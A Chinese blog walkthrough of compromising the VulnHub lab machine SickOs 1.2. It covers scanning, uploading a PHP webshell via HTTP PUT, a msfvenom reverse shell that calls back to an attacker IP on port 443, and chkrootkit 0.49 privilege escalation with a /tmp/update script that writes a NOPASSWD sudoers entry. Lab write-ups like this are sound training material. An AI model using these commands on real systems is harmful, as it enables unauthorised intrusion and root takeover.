kali渗透综合靶机(十二)--SickOs1.2靶机

kali渗透综合靶机(十二)--SickOs1.2靶机

靶机下载地址:https://www.vulnhub.com/entry/sickos-12,144/

一、主机发现

1.netdiscover -i eth0 -r 192.168.10.0/24

  

二、端口扫描

1. masscan --rate=10000 -p0-65535 192.168.10.170

  

三、端口服务识别

1. nmap -sV -T4 -O -p 22,80 192.168.10.170

  

四、漏洞查找与利用

1.浏览器访问http://192.168.10.170,发现发现登录界面,尝试目录扫描,没发现有用信息

  

2.发现http://192.168.10.170/test/

  

3.发现ssh的版本OpenSSH 5.9p1,存在用户枚举漏洞,用msf枚举用户得到用户John, root

4.使用hydra进行ssh爆破,没有破解出来

5.发现web服务的版本lighttpd 1.4.28

searchsploit lighttpd,搜索漏洞,发现没有什么可利用的漏洞

  

6. nmap 192.168.10.170 --script=http-methods.nse --script-args=http.methods.url-path="/test"  扫描/test页面的支持的http方法

  

或者对/test页面抓包,然后修改请求头为OPTIONS查看支持的HTTP方法

  

7. 上传了一个html文件进行测试,发现真的上传成功了(上传一个不存在的文件会响应201 Created)

  

  

Getshell方式一:

8.上传php一句话

  

9.菜刀连接一句话

  

10.在菜刀中上传php反弹shell,反弹连接的IP以及端口,端口设置为443(防火墙阻止了非常用端口出去)

  

  

  

11.查看系统版本和内核版本

  

Getshell方式二:

1.Msfvenom生成一个反弹shell

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.168 LPORT=443 > shell_443.php

2.curl上传生成的反弹shell到目标

  

3.Msf开启监听

  

4.访问上传的shell

  

5.获得目标的shell

  

提权方式一:利用exp

1.查看系统是否存在chkrootkit,发现chkrootkit的版本为0.49

  

2. chkrootkit 0.49漏洞原理:chkrootkit有crontab,会定期以root身份执行/tmp/update文件。如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/ tmp(没有挂载noexec)有写访问权限,就可以利用该漏洞获取root权限。

漏洞利用: 于是我们可以利用这一点,在/tmp目录下新建update文件,做我们想让root帮我们做的事

touch /tmp/update

chmod +x /tmp/update

echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > /tmp/update

sudo su root

  

提权方式二:

1.exploit-database中对漏洞chkrootkit进行搜索

  

2.msf中利用对应的漏洞结合已经获得的session

  

3.使用exploit/unix/local/chkrootkit模块本地提权,设置参数

  

4.开始攻击,成功,获得管理员权限

  

提权方式三:

1.编写exp

  

2.上传exp到目标靶机

  

3.把上传的脚本拷贝到/tmp目录下

  

4.执行update,获得root权限

  

 

 

总结:

1、信息收集、端口扫描、服务识别、目录扫描

2、nmap 的http-methods.nse脚本获得目标支持的http方法,发现/test页面支持put方法

3、使用burp修改包,用put方法上传一句话或者curl 上传获得shell

4、利用chkrootkit版本0.49定期以root身份执行/tmp/update文件来提权。

  1.利用msf中chkrootkit攻击模块

  2.手动创建在/tmp创建update文件,然后利用自动执行update文件,在update写入添加账户到sudo组

  3.使用C语言编写exp,改变/tmp的所属组为root以及增加uid为root权限,上传都目标服务器,编译然后执行,提权成功。

  

  

posted @ 2019-05-22 00:09  雨中落叶  阅读(3202)  评论(0编辑  收藏  举报